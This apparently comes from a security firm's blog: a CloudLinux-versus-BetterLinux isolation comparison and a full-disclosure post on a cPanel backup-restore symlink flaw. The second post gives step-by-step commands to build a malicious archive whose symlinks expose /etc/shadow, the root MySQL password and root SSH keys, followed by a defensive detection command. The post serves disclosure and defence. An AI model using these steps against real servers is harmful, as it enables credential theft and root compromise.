Archive for the ‘Hosting Control Panels’ Category

CloudLinux vs BetterLinux Security (Default Settings)

Friday, June 28th, 2013

Here is a comparison of CloudLinux vs BetterLinux with default settings to show the differences in terms of security. We have chosen to leave the default settings intact because as a lot of you know, some people simply cannot be bothered to read a manual and make the necessary changes.

For test purposes, we have created two new cPanel accounts one called “cloud” which represents CloudLinux + CageFS and the other one called “better” which represents BetterLinux + CloakFS. Both users are using a standard bash shell, not the cPanel Jailshell.

The first comparison will be how well processes are isolated from the rest of the system and other users. Let’s take a look and see how many processes each user can view.

cloud@cl [~]# ps aux | wc -l
cloud@cl [~]#

CloudLinux: 6 processes.

better@bl [~]# ps aux | wc -l
better@bl [~]#

BetterLinux: 114 processes.


With CloudLinux, users are only able to see their own processes and they are not able to see any root owned processes or processes belonging to other hosting users. BetterLinux on the other hand allows the user to see every root owned process and everything else outside of other hosting users. (We have found previous exploits that were time based and CloudLinux prevented them, but BetterLinux would not in this case. There is no reason to allow users to see other processes!)

The next comparison will be to see what directories the users have access to. This test was done via SSH but the same conditions would apply for cron jobs which is another one of our favourite exploit techniques when we cannot use SSH access.

cloud@cl [~]# ls /
./ ../ bin/ dev/ etc/ home/ lib/ lib64/ opt/ proc/ sbin/ scripts@ tmp/ usr/ var/
cloud@cl [~]#

better@bl [~]# ls /
./ .autofsck base/ boot/ cgroups_cpuset/ etc/ lib/ lost+found/ mnt/ proc/ sbin/ selinux/ sys/ usr/
../ .autorelabel bin/ cgroups_blockio/ dev/ home/ lib64/ media/ opt/ root/ scripts@ srv/ tmp/ var/
better@bl [~]#


With CloudLinux, users see a heavily modified file system structure that is basically a jailed environment with the bare minimum files and directories available for access. BetterLinux on the other hand allows the user to see every directory and every file. (Both prevent access to view files owned by other hosting users.)

The next comparison will be to see what files can be viewed by the users. While obviously nothing dangerous can be viewed, one ultimately wants to mitigate how much information is made available to untrusted users. The less information the better!

cloud@cl [~]# cat /etc/passwd | tail -n5
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
mysql:x:498:499:MySQL server:/var/lib/mysql:/bin/bash
cloud@cl [~]#

better@bl [~]# cat /etc/passwd | tail -n5
better@bl [~]#


With CloudLinux users are only able to see system users and their own account under /etc/passwd, whereas BetterLinux lists every other hosting user on the server. If you’re a malicious user and trying to gather a list of other accounts to attack or just gather information for other purposes, having the ability to list /etc/passwd would be extremely helpful.

cloud@cl [~]# cat /etc/named.conf
cat: /etc/named.conf: No such file or directory
cloud@cl [~]#

better@bl [~]# cat /etc/named.conf | wc -l
better@bl [~]#


With CloudLinux users are not able to view the named configuration file, whereas BetterLinux allows the user to view the file in all it’s glory which would ultimately list every domain configured on the server or being used in a DNS cluster. (This is sensitive information that does not need to be viewable to the user.)

cloud@cl [~]# find /var/log -perm 644
cloud@cl [~]#

better@bl [~]# find /var/log -perm 644
better@bl [~]#


With CloudLinux users cannot see any log files, whereas BetterLinux allows the user to see a handful of files which could ultimately contain information that is helpful to an attacker. Particularly the dmesg logs and last logs. (The last command doesn’t even work with CloudLinux, whereas BetterLinux will show the last users + their IP addresses that recently logged in.)

The final comparison will be the most important one. Which software will stop an attacker from exploiting a SUID binary to ultimately gain root access on the server. So many of our security vulnerabilities work with SUID binaries, so it is extremely important for us to use software that prohibits allowing a normal user to escalate their privileges.

For test purposes, the exploit file was created by us but it’s still a real world example. Just be hypothetical and replace “exploit” with “exim” which has the SUID flags set and is executable by the user. If there were ever to be an exploit in Exim, the following scenario would still apply.

cloud@cl [~]# ls -la exploit
-rwsr-xr-x 1 root root 6912 Jun 28 11:15 exploit*
cloud@cl [~]# ./exploit
cloud@cl [~]# id
uid=617(cloud) gid=616(cloud) groups=616(cloud)
cloud@cl [~]#

better@bl [~]# ls -la exploit
-rwsr-xr-x 1 root root 6912 Jun 28 11:15 exploit*
better@bl [~]# ./exploit
root@bl [~]# id
uid=0(root) gid=0(root) groups=0(root)
root@bl [~]#


With CloudLinux, a user cannot elevate their privileges thus stopping the exploit dead in its tracks. BetterLinux on the other hand allowed the exploit to run which ultimately lead to a root compromise. Keeping in mind this is a default setup between the two, it is absolutely insane for BetterLinux to not have SUID protection enabled by default.

cPanel Backup Vulnerability – Discussion

Wednesday, May 22nd, 2013

I’m sure some of you are wondering why we are still going through with this release despite cPanel issuing an official statement regarding their insecure handling of archives.

Well, it’s our opinion that we shouldn’t have to resort to WHT in the first place to bring attention to a serious security flaw. Our goal has always been to help make the hosting community safer and in this case we feel that push came to shove and without releasing the proof of concept, there really is no motivation for cPanel to expedite a proper workaround. A statement is nice and all but it’s a far cry from an actual fix for what they deemed to be a “minor” flaw.


People have to understand that this isn’t our first run in with cPanel regarding security vulnerabilities going unpatched. Steven reported a serious MySQL flaw over a year ago and it remained unpatched for a long time before being silently fixed in some random build. At that time, cPanel had the same response: Do not restore from random MySQL backups or inspect each one. That was not a valid answer back then and it is not a valid answer today! The notion that providers should inspect every single archive they are restoring is ludicrous and an easy way out.

There are two direct competitors to cPanel that suffer from similar flaws and both of those companies have acted responsibly in terms of identifying the seriousness of these vulnerabilities and working on a proper fix. Unlike cPanel, they immediately accepted fault with their software and stopped what they were doing to focus on fixing it. Why is it that cPanel can’t take the same stance? Do they not care as much about their customers as other control panel companies? At what point is a serious security flaw no longer a high priority issue? These are questions we have been asking for a long time with cPanel.

Unfortunately, there are some people who agree with cPanel’s assessment that this is a minor flaw. We want to make this very clear to everyone else: This is a real functioning exploit that anyone can re-create and lead to a compromise of any cPanel server should the malicious archive be restored. Unless you feel that having the ability to read any file on the server, including the root MySQL password or obtain private SSH keys is something minor… then we urge you to continue to press cPanel for a proper workaround.

To the majority that support us, thank you. We have the security of the hosting community in mind and any release such as this is done with a lot of deep thought and discussion. There will be many more advisories coming from us in the weeks ahead, a lot of scary stuff out there but you can rest a little easier knowing that we’re doing our best to find vulnerabilities before malicious users do.

Here are the steps to create a malicious cPanel archive that when restored will allow you to view /etc/shadow, the root MySQL password in plain-text and the default root SSH private key. For demonstration purposes, we will be using as our website and have already setup three sub domains:

The sub domains are necessary as this attack revolves around the ability to use symlinks pointing to existing domain log files that when restored will then be converted to the actual file.

1. Log into your cPanel account and go to Backups and then Generate a Full Website Backup.

2. If you have SSH access on the same server you can log in, otherwise download the original archive to your computer and upload to another server where you do have SSH access.

3. Prepare the archive:

tar -xvf backup*.tar.gz
rm backup*.tar.gz
mv backup* cpmove-attack
cd cpmove-attack/logs

4. Prepare the malicious symlinks:

ln -s /etc/shadow
ln -s /root/.my.cnf
ln -s /root/.ssh/id_dsa

5. Repackage the archive:

cd ../../
tar -zcf cpmove-attack.tar.gz cpmove-attack

At this point the malicious archive has been built and you can upload it to the target server and then restore it via WHM using the Restore a Full Backup/cpmove File feature. Another option would be to restore it from the command line:

/scripts/restorepkg –force cpmove-attack.tar.gz

Once the archive has been restored on the target server, log into cPanel as the user and then go back to Backups and then Generate a Full Website Backup. After the new backup has been generated, download it to your computer and extract the contents. There will be a logs directory located under the archive name containing the target files. Simply open them with a text editor and there you go.

I have also attached a pre-built malicious archive that will do exactly as the written instructions above will do. Simply restore it via WHM and then log into cPanel to generate a new full backup and then download to view the target files. The username for cPanel is attack and the password is cpanelfail :)

To hosting providers who would like to help mitigate the risks of the above vulnerability, what we suggest for the time being is to run the following command against all archives that you are about to restore to check for the presence of a possible symlink attack:

tar -ztvf cpmove-attack.tar.gz | grep ‘ -> ‘ |egrep -v “(homedir/public_html|homedir/www)”

If the archive is fine you will not see anything. However, if there is a possible symlink attack present than the output will look like this:

root@server [~]# tar -ztvf cpmove-attack.tar.gz | grep ‘ -> ‘ |grep -v public_html
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /root/.my.cnf
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /etc/shadow
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /root/.ssh/id_dsa
root@server [~]#

Should you see results like that, you are urged to not restore the backup under any circumstances and presume that the user is attempting to compromise your security. For now, this is our best advice but we are working on a better (automated) solution that can be worked into the existing cPanel restore feature. Stay tuned for details, we hope to have something out this week.